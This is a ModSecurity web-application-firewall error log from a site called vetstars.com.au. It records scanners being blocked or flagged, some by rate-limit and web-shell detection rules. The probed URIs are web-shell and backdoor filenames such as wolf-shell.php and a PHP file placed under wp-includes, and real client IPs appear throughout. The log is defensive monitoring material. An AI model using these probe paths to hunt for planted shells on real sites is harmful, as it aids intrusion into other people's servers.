[Fri Feb 27 22:17:24.599811 2026] [:error] [pid 52073:tid 52079] [client 20.220.221.45:40999] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aaGndIa650YPyxXVeRanmAAAAYM"]
[Fri Feb 27 22:17:25.078621 2026] [:error] [pid 56075:tid 56086] [client 20.220.221.45:40953] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aaGndcKBhrfI6KNv9RgqDgAAAAk"]
[Fri Feb 27 22:17:25.513155 2026] [:error] [pid 56075:tid 56077] [client 20.220.221.45:40900] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aaGndcKBhrfI6KNv9RgqEgAAAAA"]
[Fri Feb 27 22:17:25.965446 2026] [:error] [pid 56075:tid 56078] [client 20.220.221.45:40844] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypltspd.php"] [unique_id "aaGndcKBhrfI6KNv9RgqGAAAAAE"]
[Fri Feb 27 22:17:26.445689 2026] [:error] [pid 49306:tid 49327] [client 20.220.221.45:40983] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypltspd.php"] [unique_id "aaGndvnSUDZue59Px9tPQAAAAVM"]
[Fri Feb 27 22:17:26.913371 2026] [:error] [pid 56075:tid 56095] [client 20.220.221.45:40990] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypltspd.php"] [unique_id "aaGndsKBhrfI6KNv9RgqHgAAABE"]
[Fri Feb 27 22:17:27.427329 2026] [:error] [pid 62998:tid 63015] [client 20.220.221.45:41001] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypltspd.php"] [unique_id "aaGnd1QeueXZDUmoLolzdgAAAQ0"]
[Fri Feb 27 22:17:27.848971 2026] [:error] [pid 56075:tid 56081] [client 20.220.221.45:41016] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aaGnd8KBhrfI6KNv9RgqJQAAAAQ"]
[Fri Feb 27 22:17:28.266886 2026] [:error] [pid 52073:tid 52087] [client 20.220.221.45:41002] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aaGneIa650YPyxXVeRannAAAAYs"]
[Fri Feb 27 22:17:28.701408 2026] [:error] [pid 56075:tid 56084] [client 20.220.221.45:41060] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aaGneMKBhrfI6KNv9RgqLAAAAAc"]
[Fri Feb 27 22:17:29.131793 2026] [:error] [pid 56075:tid 56085] [client 20.220.221.45:40958] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aaGnecKBhrfI6KNv9RgqMAAAAAg"]
[Fri Feb 27 22:17:29.567179 2026] [:error] [pid 62998:tid 63013] [client 20.220.221.45:40912] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zyjhr.php"] [unique_id "aaGneVQeueXZDUmoLolzeQAAAQs"]
[Fri Feb 27 22:17:29.994571 2026] [:error] [pid 62998:tid 63019] [client 20.220.221.45:41028] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zyjhr.php"] [unique_id "aaGneVQeueXZDUmoLolzewAAARE"]
[Fri Feb 27 22:17:30.410567 2026] [:error] [pid 49306:tid 49330] [client 20.220.221.45:40905] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zyjhr.php"] [unique_id "aaGnevnSUDZue59Px9tPSAAAAVY"]
[Fri Feb 27 22:17:30.821174 2026] [:error] [pid 52073:tid 52089] [client 20.220.221.45:41051] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zyjhr.php"] [unique_id "aaGneoa650YPyxXVeRanpAAAAY0"]
[Fri Feb 27 22:17:31.232525 2026] [:error] [pid 54102:tid 54157] [client 20.220.221.45:40996] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abalqdol.php"] [unique_id "aaGne3i74D4fiYUm_GeHYQAAAI0"]
[Fri Feb 27 22:17:31.662530 2026] [:error] [pid 56075:tid 56085] [client 20.220.221.45:41021] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abalqdol.php"] [unique_id "aaGne8KBhrfI6KNv9RgqOwAAAAg"]
[Fri Feb 27 22:17:32.075840 2026] [:error] [pid 56075:tid 56102] [client 20.220.221.45:41031] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abalqdol.php"] [unique_id "aaGnfMKBhrfI6KNv9RgqQgAAABg"]
[Fri Feb 27 22:17:32.490593 2026] [:error] [pid 54231:tid 54251] [client 20.220.221.45:40995] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abalqdol.php"] [unique_id "aaGnfOTvb5AeyJCdY7AziwAAAFE"]
[Fri Feb 27 22:17:32.907738 2026] [:error] [pid 54102:tid 54169] [client 20.220.221.45:41014] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bykdo.php"] [unique_id "aaGnfHi74D4fiYUm_GeHYwAAAJg"]
[Fri Feb 27 22:17:33.341605 2026] [:error] [pid 54231:tid 54242] [client 20.220.221.45:40944] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bykdo.php"] [unique_id "aaGnfeTvb5AeyJCdY7AzjQAAAEg"]
[Fri Feb 27 22:17:33.775067 2026] [:error] [pid 54231:tid 54250] [client 20.220.221.45:40950] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bykdo.php"] [unique_id "aaGnfeTvb5AeyJCdY7AzkwAAAFA"]
[Fri Feb 27 22:17:34.189005 2026] [:error] [pid 54231:tid 54247] [client 20.220.221.45:41011] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bykdo.php"] [unique_id "aaGnfuTvb5AeyJCdY7AzlwAAAE0"]
[Fri Feb 27 22:17:34.614220 2026] [:error] [pid 52073:tid 52077] [client 20.220.221.45:41063] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaGnfoa650YPyxXVeRanrgAAAYE"]
[Fri Feb 27 22:17:35.040953 2026] [:error] [pid 56075:tid 56102] [client 20.220.221.45:41009] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaGnf8KBhrfI6KNv9RgqSwAAABg"]
[Fri Feb 27 22:17:35.456916 2026] [:error] [pid 52073:tid 52097] [client 20.220.221.45:40933] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaGnf4a650YPyxXVeRansQAAAZU"]
[Fri Feb 27 22:17:35.876849 2026] [:error] [pid 52073:tid 52089] [client 20.220.221.45:41077] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdf.php"] [unique_id "aaGnf4a650YPyxXVeRantQAAAY0"]
[Fri Feb 27 22:17:36.291469 2026] [:error] [pid 49306:tid 49321] [client 20.220.221.45:40897] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aaGngPnSUDZue59Px9tPTgAAAU0"]
[Fri Feb 27 22:17:36.703288 2026] [:error] [pid 49306:tid 49332] [client 20.220.221.45:40973] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aaGngPnSUDZue59Px9tPUQAAAVg"]
[Fri Feb 27 22:17:37.114922 2026] [:error] [pid 52073:tid 52095] [client 20.220.221.45:40956] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aaGngYa650YPyxXVeRanvAAAAZM"]
[Fri Feb 27 22:17:37.525433 2026] [:error] [pid 52073:tid 52086] [client 20.220.221.45:41050] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aaGngYa650YPyxXVeRanwQAAAYo"]
[Fri Feb 27 22:17:37.942506 2026] [:error] [pid 52073:tid 52082] [client 20.220.221.45:40938] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaGngYa650YPyxXVeRanxAAAAYY"]
[Fri Feb 27 22:17:38.355602 2026] [:error] [pid 52073:tid 52084] [client 20.220.221.45:41055] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaGngoa650YPyxXVeRanxwAAAYg"]
[Fri Feb 27 22:17:38.772494 2026] [:error] [pid 56075:tid 56083] [client 20.220.221.45:40918] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaGngsKBhrfI6KNv9RgqUAAAAAY"]
[Fri Feb 27 22:17:39.189124 2026] [:error] [pid 52073:tid 52085] [client 20.220.221.45:41083] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaGng4a650YPyxXVeRan0AAAAYk"]
[Fri Feb 27 22:17:39.622095 2026] [:error] [pid 52073:tid 52080] [client 20.220.221.45:40929] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccrheegr.php"] [unique_id "aaGng4a650YPyxXVeRan0wAAAYQ"]
[Fri Feb 27 22:17:40.034232 2026] [:error] [pid 52073:tid 52095] [client 20.220.221.45:41042] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccrheegr.php"] [unique_id "aaGnhIa650YPyxXVeRan2QAAAZM"]
[Fri Feb 27 22:17:40.447782 2026] [:error] [pid 54103:tid 54184] [client 20.220.221.45:40993] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccrheegr.php"] [unique_id "aaGnhOvG4MPCmE0B2sDASQAAAM0"]
[Fri Feb 27 22:17:40.861511 2026] [:error] [pid 56075:tid 56093] [client 20.220.221.45:40850] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccrheegr.php"] [unique_id "aaGnhMKBhrfI6KNv9RgqVAAAAA8"]
[Fri Feb 27 22:17:41.281462 2026] [:error] [pid 49306:tid 49318] [client 20.220.221.45:41004] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aaGnhfnSUDZue59Px9tPVAAAAUo"]
[Fri Feb 27 22:17:41.692752 2026] [:error] [pid 56075:tid 56100] [client 20.220.221.45:40984] [client 20.220.221.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aaGnhcKBhrfI6KNv9RgqXAAAABY"]
[Fri Feb 27 22:21:17.325837 2026] [:error] [pid 54231:tid 54245] [client 117.33.163.216:38162] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaGoXeTvb5AeyJCdY7A0LQAAAEs"]
[Fri Feb 27 22:29:25.296679 2026] [:error] [pid 49306:tid 49311] [client 20.220.8.221:42755] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaGqRfnSUDZue59Px9tU_QAAAUM"]
[Fri Feb 27 22:29:26.121899 2026] [:error] [pid 52073:tid 52086] [client 20.220.8.221:42773] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaGqRoa650YPyxXVeRaxZQAAAYo"]
[Fri Feb 27 22:29:26.944766 2026] [:error] [pid 49306:tid 49310] [client 20.220.8.221:42787] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaGqRvnSUDZue59Px9tVAAAAAUI"]
[Fri Feb 27 22:29:27.781106 2026] [:error] [pid 54103:tid 54186] [client 20.220.8.221:42895] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaGqR-vG4MPCmE0B2sDB_QAAAM8"]
[Fri Feb 27 22:30:35.506790 2026] [:error] [pid 54103:tid 54172] [client 195.201.199.99:49478] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aaGqi-vG4MPCmE0B2sDCjwAAAME"]
[Fri Feb 27 22:56:40.776638 2026] [:error] [pid 62998:tid 63010] [client 49.51.33.159:59800] [client 49.51.33.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaGwqFQeueXZDUmoLomCcAAAAQg"]
[Fri Feb 27 23:14:01.838068 2026] [:error] [pid 54103:tid 54194] [client 67.205.159.76:23838] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.205.159.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaG0uevG4MPCmE0B2sDPbQAAANc"]
[Fri Feb 27 23:35:18.865682 2026] [:error] [pid 56075:tid 56094] [client 139.162.43.144:55740] [client 139.162.43.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.162.43.144, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaG5tsKBhrfI6KNv9RhyNwAAABA"]
[Fri Feb 27 23:35:34.351061 2026] [:error] [pid 52073:tid 52086] [client 20.151.128.128:15315] [client 20.151.128.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/cah.php"] [unique_id "aaG5xoa650YPyxXVeRbdkgAAAYo"]
[Fri Feb 27 23:36:29.112933 2026] [:error] [pid 52073:tid 52099] [client 20.151.128.128:15322] [client 20.151.128.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf-shell.php"] [unique_id "aaG5_Ya650YPyxXVeRbeLAAAAZc"]
[Fri Feb 27 23:36:30.637749 2026] [:error] [pid 54231:tid 54246] [client 20.151.128.128:15247] [client 20.151.128.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf-shell.php"] [unique_id "aaG5_uTvb5AeyJCdY7BNEAAAAEw"]
[Fri Feb 27 23:36:36.137756 2026] [:error] [pid 49306:tid 49314] [client 20.151.128.128:15241] [client 20.151.128.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf-shell.php"] [unique_id "aaG6BPnSUDZue59Px9t6CQAAAUY"]
[Fri Feb 27 23:36:37.513872 2026] [:error] [pid 62998:tid 63017] [client 20.151.128.128:15243] [client 20.151.128.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf-shell.php"] [unique_id "aaG6BVQeueXZDUmoLomQpQAAAQ8"]
[Fri Feb 27 23:36:45.518130 2026] [:error] [pid 56075:tid 56088] [client 20.151.128.128:15344] [client 20.151.128.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aaG6DcKBhrfI6KNv9RhzPQAAAAs"]
